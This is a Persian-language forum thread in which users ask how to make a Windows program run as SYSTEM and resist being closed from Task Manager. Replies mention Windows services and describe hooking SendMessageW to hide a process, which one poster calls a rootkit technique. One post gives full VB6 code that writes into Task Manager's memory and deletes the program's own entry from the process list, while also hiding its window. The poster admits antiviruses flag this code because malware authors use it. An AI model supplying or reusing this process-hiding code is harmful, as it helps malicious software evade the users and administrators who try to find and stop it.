سلام به همه اساتید
یک پروژه امنیتی داشتم که نیاز دارم رویکردهای زیر رو داخلش اعمال کنم اما راهی بلد نیستم برای انجام اینکار از دوستان و اساتید محترم سه سوال داشتم
1) آیا راهی وجود دارد که برنامه ای را بصورت سیستمی (در یوزر System) اجرا کرد بگونه ای که در TaskManager ویندوز بجای نوشتن نام کاربر نام System را نشان دهد، همانند تصویر زیر؟
2) آیا راهی وجود دارد برنامه خود را بگونه ای اجرا کنیم که وقتی کاربر بر دکمه EndProcess در تسک منجر کلیک میکند با پیام AccessDenied تسک منجر مواجه شود همانند آنتی ویروس Kaspersky یا Nod32
3) آیا راهی وجود دارد که از بسته شدن برنامه در پنجره EndNow (همان پنجره ای که موقع قفل شدن برنامه با کلیک بر دکمه Close ظاهر میشود) جلوگیری کرد همانند آنتی ویروس Kaspersky که از این روش استفاده میکند
باتشکر از همه دوستان
[ برای مشاهده لینک ، لطفا با نام کاربری خود وارد شوید یا ثبت نام کنید ]
سلام
برنامه های عادی یا WinApp هستند و یا WinConsole ولی نوع دیگری از برنامه با نام WinService وجود دارد که میتواند شرایط گفته شده را داشته باشد.
البته VB6-1998 به صورت ذاتی فقط توانایی ایجاد برنامه های WinApp عادی را دارد.
شاید ابزار و dll و... عرضه شده باشد که توانایی اضافه ای به VB6 بدهد ولی من اطلاع ندارم.
ولی VB10-2010 به صورت ذاتی توانایی تعامل و ایجاد انواع گسترده ای از برنامه ها را دارد از جمله:
WinService
(WinApp(Normal+WPF
WinConsole
WinMobile/Phone
WebApp
WebService
AddIn-Office2007/2010
و ...
موفق باشید.
god of war 2
16-12-2010, 21:46
راه های دیگری هم هست که یکم پیچیده هست ولی قدرت مانور بالایی داره و کلا اختیارات کامل سیستم در دست شما قرار میگیره.
شما میتونید یک HOOK در حافظه نصب کنید و تسک منیجر رو تحت کنترل خودتون بگیرید و کاری کنید که اصلا پروسه مورد نظر شما در لیست پروسه های در حال اجرا نمایش داده نشه. فقط باید یکی از API های ویندوز(SendMessageW) را که مسئول این قسمت هست رو طوری باز نویسی کنی که هنگامی که پیامی مبتنی بر ثبت پروسه شما در لیست تسک منیجر فرستاده شد جولوی اونو بگیره. از این متود بیشتر در Rootkit ها استفاده میشه ولی بعضی از برنامه های سیستمی هم از این متود استفاده میکنند.
اگر توضیحات بیشتری خواستید میتونم کمکتون کنم.
MichaelQwerty
11-01-2011, 20:00
سلام به دوستان عزیز
میشه بیشتر در رابطه با این موضوع توضیح بدین و هم چنین طرز کار با sendmessagew
god of war 2
12-01-2011, 13:00
سلام به دوستان عزیز
میشه بیشتر در رابطه با این موضوع توضیح بدین و هم چنین طرز کار با sendmessagew
سلام.
اگر منظورتون از طرز کار با این Api همان بازنویسی و تغییر آن هست که بنده در پست قبلیم گفتم توضیحش مفصله ولی بصورت مختصر توضیح میدم اگر اطلاعات بیشتری هم خواستید منابع زیادی در نت وجود دارد که با یک جستجو پیدا میکنید.
سیستم عامل ویندوز طوری طراحی شده که ارتباط بین قسمت های مختلف خود را از طریق ارسال و دریافت پیام برقرار میکند.
بطور مثال زمانی که شما یک برنامه را اجرا میکنید اطلاعات آن (مثل: نام - فضای لازم در رم برای بارگذاری و ...) توسط API به نام SendMessage به مرکز دریافت این پیام در سیستم عامل ارسال میشه سپس سیستم عامل توسط همین API پیامی مبتنی بر ثبت آن در لیست پروسه های در حال اجرا به TaskManager از طریق همین API ارسال میکنه.
برای اینکه بتونیم از ارسال این پیام قبل از اینکه به TaskManager ارسال بشه جلوگیری کنیم باید از یک Hook استفاده کنیم.
Hook ها در حقیقت شنودگر هایی هستند که انواع مختلفی دارند و میشه اونهارو در قسمتهایی از سیستم عامل نصب کرد و برای اهداف مختلفی از آن استفاده کرد.
Hook ها معمولا از دو قسمت تشکیل میشوند یک DLL که در آن توابعی برای پاسخ گویی به قسمتهای شنود شده قرار دارد و یک فایل اجرایی که DLL را در حافظه بار گذاری میکند.
حالا برای اینکه ما بتونیم جلوی این پیامو بگیریم باید Api مسئول آن یعنی همان SendMessage را بازنویسی کنیم که به این عمل Code Injection گفته میشه. برای این کار متود های زیادی وجود دارد که هرکدام سختی ها و پیچیدگی های خود را دارند.
بطور مثال شما یک برنامه نوشتید که از یک DLL به نام MyDll استفاده میکنه که در دایرکتوری برنامه شما قرار داره فرض میکنیم این DLL توسط سیستم عامل حفاظت شده هست و نمیشه اونو پاک کرد و یا با یک DLL همنام جایگزین کرد(مانند اکثر کتابخانه های API ویندوز). زمانی که برنامه شما اجرا میشه یک کپی از این DLL در حافظه بارگزاری میشه حالا شخص دیگری که قصد اختلال در برنامه شما را داره و میخواد کنترل آن را بدست بگیره یک DLL با مشخصات DLL شما و شامل تمام توابع و کلاسهای آن البته بازنویسی شده و دستکاری شده درست در مکانی از حافظه که DLL اصلی بارگذاری شده قرار میدهد و میشه گفت جایگزین DLL اصلی میکند.حالا برنامه شما در حال استفاده از DLL تقلبی و بازنویسی شده هست.
البته این کار به همین سادگی هم نیست و مشکلات زیادی در سر راه قرار دارد ولی این روش یک متود در این ضمینه بحساب میاد و در موارد مختلفی از این روش استفاده شده.
متاسفانه زیاد وقت آزاد ندارم و توضیحاتی هم که دادم بسیار مخjصر بود و برای اطلاعات بیشتر باید از منابع خارجی کمک بگیرید.
موفق باشید.
asf_pack
15-08-2011, 16:19
آقا من کل اینترنت و گشتم هیچکی نبود جواب درست حسابی بده به این سوال لطف میکنین یه مثال بزارین واسه این کار ممنون میشم دوستان
sosani2007
09-10-2012, 11:24
آقا من کل اینترنت و گشتم هیچکی نبود جواب درست حسابی بده به این سوال لطف میکنین یه مثال بزارین واسه این کار ممنون میشم دوستان
میشه منظورت رو واضح بگی
با سلام
در vb6 مثال و کد برای سیستمی کردن پروسس ندیدم ولی برای مخفی کردن پروسس کد زیر رو دارم ولی فایده ای نداره چون همه آنتی ویروسها بهش گیر میدن به خاطر اینکه از وقتی پابلیک شده به کرات در ویروس نویسی مورد استفاده قرار گرفته:
یه تایمر بسازین و:
Private Type bkh
flag As Long
psz As Long
lParam As Long
pt As Long
vkDirection As Long
End Type
Private Declare Function VirtualAllocEx Lib "kernel32.dll" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As Long, ByRef lpdwProcessId As Long) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, ByVal lpBuffer As Long, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function VirtualFreeEx Lib "kernel32.dll" (ByVal hProcess As Long, ByRef lpAddress As Any, ByRef dwSize As Long, ByVal dwFreeType As Long) As Long
Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function GetCurrentProcessId Lib "kernel32.dll" () As Long
Private Declare Function KillTimer Lib "user32.dll" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function FindWindowEx Lib "user32.dll" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Sub Hide_Process(Name As String)
Dim pName As Long
Dim pType As Long
Dim l As Long
Dim Tid As Long
Dim hTid As Long
Dim pid As Long
Dim h As Long
Dim i As Long
Dim hProcess As Long
Dim f As bkh
Dim s As String
Dim bkh() As Byte
h = FindWindow(vbNullString, "Windows Task Manager")
KillTimer h, 0
h = FindWindowEx(h, 0, "#32770", vbNullString)
h = FindWindowEx(h, 0, "SysListView32", vbNullString)
If h = 0 Then Exit Sub
f.flag = 8 Or &H20
Call GetWindowThreadProcessId(h, pid)
hProcess = OpenProcess(1082, 0, pid)
bkh = StrConv(Name, vbFromUnicode)
pName = VirtualAllocEx(hProcess, 0, Len(Name) + 1, &H1000, 4)
WriteProcessMemory hProcess, pName, VarPtr(bkh(0)), Len(Name), l
f.psz = pName
pType = VirtualAllocEx(hProcess, 0, Len(f), &H1000, 4)
WriteProcessMemory hProcess, pType, VarPtr(f.flag), Len(f), l
i = SendMessage(h, &H1000 + 13, 0, pType)
If i <> -1 Then SendMessage h, &H1000 + 8, i, 0
VirtualFreeEx hProcess, pType, Len(f), &H8000
VirtualFreeEx hProcess, pName, LenB(Name) + 1, &H8000
End Sub
Private Sub Form_Load()
App.TaskVisible = False
Form1.Hide
End Sub
Private Sub Timer1_Timer()
Hide_Process CStr(App.EXEName & ".exe")
End Sub
sosani2007
22-10-2012, 12:44
سلام به همه اساتید
یک پروژه امنیتی داشتم که نیاز دارم رویکردهای زیر رو داخلش اعمال کنم اما راهی بلد نیستم برای انجام اینکار از دوستان و اساتید محترم سه سوال داشتم
1) آیا راهی وجود دارد که برنامه ای را بصورت سیستمی (در یوزر System) اجرا کرد بگونه ای که در TaskManager ویندوز بجای نوشتن نام کاربر نام System را نشان دهد، همانند تصویر زیر؟
2) آیا راهی وجود دارد برنامه خود را بگونه ای اجرا کنیم که وقتی کاربر بر دکمه EndProcess در تسک منجر کلیک میکند با پیام AccessDenied تسک منجر مواجه شود همانند آنتی ویروس Kaspersky یا Nod32
3) آیا راهی وجود دارد که از بسته شدن برنامه در پنجره EndNow (همان پنجره ای که موقع قفل شدن برنامه با کلیک بر دکمه Close ظاهر میشود) جلوگیری کرد همانند آنتی ویروس Kaspersky که از این روش استفاده میکند
باتشکر از همه دوستان
[ برای مشاهده لینک ، لطفا با نام کاربری خود وارد شوید یا ثبت نام کنید ]
شما برای این که این کار رو انجام بدید باید از سرویس ها استفاده کنید
vBulletin , Copyright ©2000-2025, Jelsoft Enterprises Ltd.